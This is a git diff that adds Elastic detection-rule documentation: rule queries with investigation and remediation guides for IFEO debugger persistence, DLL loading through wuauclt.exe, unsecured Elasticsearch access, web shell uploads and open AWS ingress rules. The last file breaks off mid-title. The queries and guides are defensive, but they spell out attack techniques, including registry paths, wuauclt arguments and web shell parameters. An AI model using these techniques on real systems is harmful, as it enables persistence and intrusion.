100 + +*References*: + +* https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Image File Execution Options Injection* + + +Image File Execution Options (IFEO) is a Windows feature allowing developers to debug applications by specifying an alternative executable to run. Adversaries exploit this by setting a debugger to execute malicious code instead, achieving persistence or evasion. The detection rule identifies changes to specific registry keys associated with IFEO, flagging potential misuse by monitoring for unexpected executables being set as debuggers. + + +*Possible investigation steps* + + +- Review the registry path and value that triggered the alert to identify the specific executable or process being targeted for debugging or monitoring. +- Check the registry.data.strings field to determine the unexpected executable set as a debugger or monitor process, and assess its legitimacy. +- Investigate the origin and purpose of the executable found in the registry.data.strings by checking its file properties, digital signature, and any associated metadata. +- Correlate the alert with recent system or user activity to identify any suspicious behavior or changes that coincide with the registry modification. +- Examine the system for additional indicators of compromise, such as unusual network connections, file modifications, or other registry changes, to assess the scope of potential malicious activity. +- Consult threat intelligence sources to determine if the identified executable or behavior is associated with known malware or threat actors. + + +*False positive analysis* + + +- ThinKiosk and PSAppDeployToolkit are known to trigger false positives due to their legitimate use of the Debugger registry key. Users can mitigate this by adding exceptions for these applications in the detection rule. +- Regularly review and update the list of exceptions to include any new legitimate applications that may use the Debugger or MonitorProcess registry keys for valid purposes. +- Monitor the environment for any new software installations or updates that might interact with the IFEO registry keys and adjust the rule exceptions accordingly to prevent unnecessary alerts. +- Collaborate with IT and security teams to identify any internal tools or scripts that might be using these registry keys for legitimate reasons and ensure they are accounted for in the rule exceptions. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified as being executed through the IFEO mechanism to halt any ongoing malicious activity. +- Revert any unauthorized changes to the registry keys associated with Image File Execution Options and SilentProcessExit to their default or intended state. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Review and restore any altered or deleted system files from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for registry changes related to IFEO to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("Debugger", "MonitorProcess") and length(registry.data.strings) > 0 and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess" + ) and + /* add FPs here */ + not registry.data.strings regex~ ("""C:\\Program Files( \(x86\))?\\ThinKiosk\\thinkiosk\.exe""", """.*\\PSAppDeployToolkit\\.*""") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-imageload-via-windows-update-auto-update-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-imageload-via-windows-update-auto-update-client.asciidoc new file mode 100644 index 0000000000..0a85907333 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-imageload-via-windows-update-auto-update-client.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-imageload-via-windows-update-auto-update-client]] +=== ImageLoad via Windows Update Auto Update Client + +Identifies abuse of the Windows Update Auto Update Client (wuauclt.exe) to load an arbitrary DLL. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dtm.uk/wuauclt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ImageLoad via Windows Update Auto Update Client* + + +The Windows Update Auto Update Client (wuauclt.exe) is the component responsible for managing system updates. However, adversaries may abuse this process to load a malicious DLL and execute malicious code while blending into a legitimate system mechanism. + +This rule identifies potential abuse for code execution by monitoring for specific process arguments ("/RunHandlerComServer" and "/UpdateDeploymentProvider") and common writable paths where the target DLL can be placed (e.g., "C:\Users\*.dll", "C:\ProgramData\*.dll", etc.). + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line and identify the DLL location. +- Examine whether the DLL is signed. +- Retrieve the DLL and determine if it is malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate the behavior of child processes, such as network connections, registry or file modifications, and any spawned processes. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "wuauclt.exe" or process.name : "wuauclt.exe") and + /* necessary windows update client args to load a dll */ + process.args : "/RunHandlerComServer" and process.args : "/UpdateDeploymentProvider" and + /* common paths writeable by a standard user where the target DLL can be placed */ + process.args : ("C:\\Users\\*.dll", "C:\\ProgramData\\*.dll", "C:\\Windows\\Temp\\*.dll", "C:\\Windows\\Tasks\\*.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc new file mode 100644 index 0000000000..dd605cfaaa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-inbound-connection-to-an-unsecure-elasticsearch-node]] +=== Inbound Connection to an Unsecure Elasticsearch Node + +Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are accepting inbound network connections over the default Elasticsearch port. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-security.html +* https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Reconnaissance +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Inbound Connection to an Unsecure Elasticsearch Node* + + +Elasticsearch is a powerful search and analytics engine often used for log and data analysis. When improperly configured without TLS or authentication, it becomes vulnerable to unauthorized access. Adversaries can exploit these weaknesses to gain initial access, exfiltrate data, or disrupt services. The detection rule identifies unsecured nodes by monitoring inbound HTTP traffic on the default port, flagging connections lacking authentication headers, thus highlighting potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the source IP address of the inbound connection to determine if it is from a known or trusted entity. Cross-reference with internal asset inventories or threat intelligence sources. +- Examine the network traffic logs for any unusual patterns or repeated access attempts from the same source IP, which might indicate a brute force or scanning activity. +- Check for any data exfiltration attempts by analyzing outbound traffic from the Elasticsearch node, focusing on large data transfers or connections to unfamiliar external IPs. +- Investigate the absence of authentication headers in the HTTP requests to confirm if the Elasticsearch node is indeed misconfigured and lacks proper security controls. +- Assess the configuration of the Elasticsearch node to ensure that TLS is enabled and authentication mechanisms are properly implemented to prevent unauthorized access. +- Look for any other alerts or logs related to the same Elasticsearch node or source IP to identify potential coordinated attack activities or previous incidents. + + +*False positive analysis* + + +- Internal monitoring tools or scripts that regularly check Elasticsearch node status without authentication can trigger false positives. Exclude these specific IP addresses or user agents from the rule to reduce noise. +- Automated backup systems that interact with Elasticsearch nodes without using authentication headers might be flagged. Identify these systems and create exceptions based on their IP addresses or network segments. +- Development or testing environments where Elasticsearch nodes are intentionally left unsecured for testing purposes can generate alerts. Use network segmentation or specific tags to differentiate these environments and exclude them from the rule. +- Security scans or vulnerability assessments conducted by internal teams may access Elasticsearch nodes without authentication, leading to false positives. Whitelist the IP ranges used by these security tools to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Elasticsearch node from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of access logs to identify any unauthorized access or data exfiltration attempts, focusing on connections lacking authentication headers. +- Implement Transport Layer Security (TLS) and enable authentication mechanisms on the Elasticsearch node to secure communications and restrict access to authorized users only. +- Reset credentials and API keys associated with the Elasticsearch node to prevent further unauthorized access using potentially compromised credentials. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access and steps taken to contain the threat. +- Monitor the network for any signs of continued unauthorized access attempts or related suspicious activity, adjusting detection rules as necessary to capture similar threats. +- Document the incident, including the response actions taken, and conduct a post-incident review to identify any gaps in security controls and improve future response efforts. + +==== Setup + + +This rule requires the addition of port `9200` and `send_all_headers` to the `HTTP` protocol configuration in `packetbeat.yml`. See the References section for additional configuration documentation. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.http OR (event.category: network_traffic AND network.protocol: http)) AND + status:OK AND destination.port:9200 AND network.direction:inbound AND NOT http.response.headers.content-type:"image/x-icon" AND NOT + _exists_:http.request.headers.authorization + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-initial-access-via-file-upload-followed-by-get-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-initial-access-via-file-upload-followed-by-get-request.asciidoc new file mode 100644 index 0000000000..b9bbe11f79 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-initial-access-via-file-upload-followed-by-get-request.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-21-initial-access-via-file-upload-followed-by-get-request]] +=== Initial Access via File Upload Followed by GET Request + +This rule detects potential initial access activity where an adversary uploads a web shell or malicious script to a web server via a file upload mechanism (e.g., through a web form using multipart/form-data), followed by a GET or POST request to access the uploaded file. By checking the body content of HTTP requests for file upload indicators such as "Content-Disposition: form-data" and "filename=", the rule identifies suspicious upload activities. This sequence of actions is commonly used by attackers to gain and maintain access to compromised web servers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Network Traffic +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Initial Access via File Upload Followed by GET Request* + + +This rule flags a common initial-access pattern: a multipart/form-data upload that drops a dynamic web script on a server, followed shortly by a request to execute that file and establish a foothold. Attackers exploit a permissive upload form to plant shell.php or shell.jsp in an uploads or temp directory, then immediately request it to spawn a web shell, enumerate files, and run commands—often leveraging redirects or 2xx/3xx responses that indicate successful placement and access. + + +*Possible investigation steps* + + +- Correlate the upload transaction with the server-side file creation and the subsequent access to the same resource, matching timestamps, source IP, and path, and follow any redirects to the final executed file. +- Retrieve the uploaded artifact from disk, verify it sits in a web-accessible location, inspect content for web shell traits (eval/system/exec, obfuscation, password gates), and record hashes. +- Examine server process telemetry immediately after the access for interpreter or shell spawns and unexpected outbound connections originating from web server workers. +- Review application logs and access context to determine whether the upload was authenticated, which account or session performed it, and whether user-agent, referer, or headers deviate from normal clients. +- Broaden the timeline to identify related uploads, file renames, or repeated requests from the same actor, including parameterized calls that suggest command execution or directory enumeration. + + +*False positive analysis* + + +- An authenticated administrator installs a legitimate plugin or module via the application’s upload form, which unpacks or renames .php or .jsp files and then auto-loads a setup page, producing the multipart upload, file creation/rename, and immediate GET pattern. +- Automated deployment or QA routines upload and deploy a .war or server-side script through a web-based admin interface and then perform health-check or warm-up requests, resulting in the same multipart upload, server-side file creation, and follow-up GET sequence. + + +*Response and remediation* + + +- Immediately block access to the uploaded script that was invoked via GET/POST (e.g., /uploads/shell.php) and the source IPs that executed it, restrict the site to allowlisted IPs or maintenance mode, and temporarily disable the upload endpoint. +- Quarantine and remove the uploaded web shell and any additional executable scripts or WARs in web-accessible directories (uploads, webroot, temp), terminate interpreter or shell processes spawned by the web server account (www-data/nginx/w3wp/tomcat), and revert malicious .htaccess/web.config rewrites. +- Hunt for persistence and lateral-movement artifacts created after the upload, including recent .php/.jsp/.cgi file creations or renames in static asset folders, cron/systemd tasks, startup scripts, unauthorized admin users or plugins, and remove them. +- Restore altered application files from known-good backups or redeploy a clean container/VM, rotate database and API credentials stored in config files or environment variables, invalidate active sessions, and only re-enable uploads after confirming execution is blocked in upload directories. +- Escalate to incident command and privacy/legal if you observe command execution parameters on the uploaded page (?cmd=, ?exec=), shells spawning (/bin/sh, powershell.exe), database dumps, or outbound callbacks from web server processes to external hosts. +- Harden by storing uploads outside the webroot, denying execution in upload paths (disable PHP/CGI handlers and set noexec permissions), enforcing strict extension/MIME allowlists and AV/sandbox scanning for multipart/form-data, enabling file-integrity alerts on new .php/.jsp in served paths, and deploying WAF rules to block direct requests to uploaded executables. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis). + + +*Network Packet Capture Integration Setup* + + +**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type. + +To enable HTTP request body capture, follow these steps: +1. Navigate to the Fleet policy leveraging the Network Packet Capture integration in Kibana. +2. Locate and select the "Network Packet Capture" integration, and edit the integration. +3. Locate "Change Default", and scroll down to the "HTTP" section. +4. Enable the "HTTP" toggle to capture HTTP traffic, add the correct ports for your web application, and click "advanced options". +5. Edit the integration settings to enable HTTP request body capture for POST requests with `multipart/form-data` content type. +6. Save the integration configuration and wait for the policy to deploy to the agents. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by agent.id with maxspan=5m + [network where + data_stream.dataset == "network_traffic.http" and + http.request.method in ("POST", "PUT") and + /* We can restrict to 200 in the future, but I prefer to broaden the scope and decrease it later if necessary */ + http.response.status_code in (200, 201, 204, 301, 302, 303, 409) and + /* These should detect most common file upload activities, adhering to browser standards */ + http.request.body.content like "*Content-Disposition: form-data*" and + http.request.body.content like "*filename=*" + /* May add a lower/upper boundary limit to reduce FPs in the future, e.g. + and http.request.body.bytes >= 500 + */ + ] + [file where + data_stream.dataset == "endpoint.events.file" and + event.action in ("creation", "rename") and + file.extension in ("php", "phtml", "pht", "php5", "asp", "aspx", "jsp", "jspx", "war", "cgi") + /* We can add file.path values here in the future, if telemetry is noisy */ + ] + [network where + data_stream.dataset == "network_traffic.http" and + http.request.method in ("GET", "POST") and + /* we may restrict to 200, but keeping it broader right now */ + http.response.status_code >= 200 and http.response.status_code < 600 and + url.extension in ("php", "phtml", "pht", "php5", "asp", "aspx", "jsp", "jspx", "war", "cgi") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc new file mode 100644 index 0000000000..301593b7db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-insecure-aws-ec2-vpc-security-group-ingress-rule-added]] +=== Insecure AWS EC2 VPC Security Group Ingress Rule Added + +Identifies when a specified inbound (ingress) rule is added or adjusted for a VPC security group in AWS EC2. This rule detects when a security group rule is added that allows traffic from any IP address or from a specific IP address to common remote access ports, such as 22 (SSH) or 3389 (RDP). Adversaries may add these rules to allow remote access to VPC instances from any location, increasing the attack surface and potentially exposing the instances to unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AuthorizeSecurityGroupEgress.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AuthorizeSecurityGroupIngress.html +* https://www.linkedin.com/pulse/my-backdoors-your-aws-infrastructure-part-3-network-micha%C5%82-brygidyn/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Insecure AWS EC2 VPC Security Group Ingress Rule Added* + + +This rule detects the addition of ingress rules to a VPC security group that allow traffic from any IP address (`0.0.0.0/0` or `::/0`) to sensitive ports commonly used for remote access, such as SSH (port 22) and RDP (port 3389). This configuration change can significantly increase the exposure of EC2 instances to potential threats, making it crucial to understand the context and legitimacy of such changes. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Investigate whether this actor has the necessary permissions and typically performs these actions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand exactly what changes were made to the security group. Check for any unusual parameters that could suggest a misconfiguration or malicious intent. +- **Analyze the Source of the Request**: Look at the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unusual location could indicate compromised credentials. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications outside of typical business hours might warrant additional scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor engaged in other potentially suspicious activities. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Verify if the ingress rule change aligns with scheduled updates, maintenance activities, or legitimate administrative tasks documented in change management tickets or systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. Consistency with past legitimate actions might indicate a false alarm. +- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended as per policy. + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, revert the security group rules to their previous state to close any unintended access. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar security group changes, especially those that open access to well-known ports from any IP address. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning security group management. +- **Audit Security Groups and Policies**: Conduct a comprehensive audit of all security groups and associated policies to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing security group rules and securing AWS environments, refer to the https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html[Amazon VPC Security Groups documentation] and AWS best practices for security. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: ec2.amazonaws.com + and event.action: AuthorizeSecurityGroupIngress + and event.outcome: success + and aws.cloudtrail.flattened.request_parameters.ipPermissions.items.ipRanges.items.cidrIp: ("0.0.0.0/0" or "::/0") + and aws.cloudtrail.flattened.request_parameters.ipPermissions.items.fromPort: ( + 21 or 22 or 23 or 445 or 3389 or 5985 or 5986) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-installation-of-custom-shim-databases.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-installation-of-custom-shim-databases.asciidoc new file mode 100644 index 0000000000..a66e0b5ea2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-installation-of-custom-shim-databases.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-installation-of-custom-shim-databases]] +=== Installation 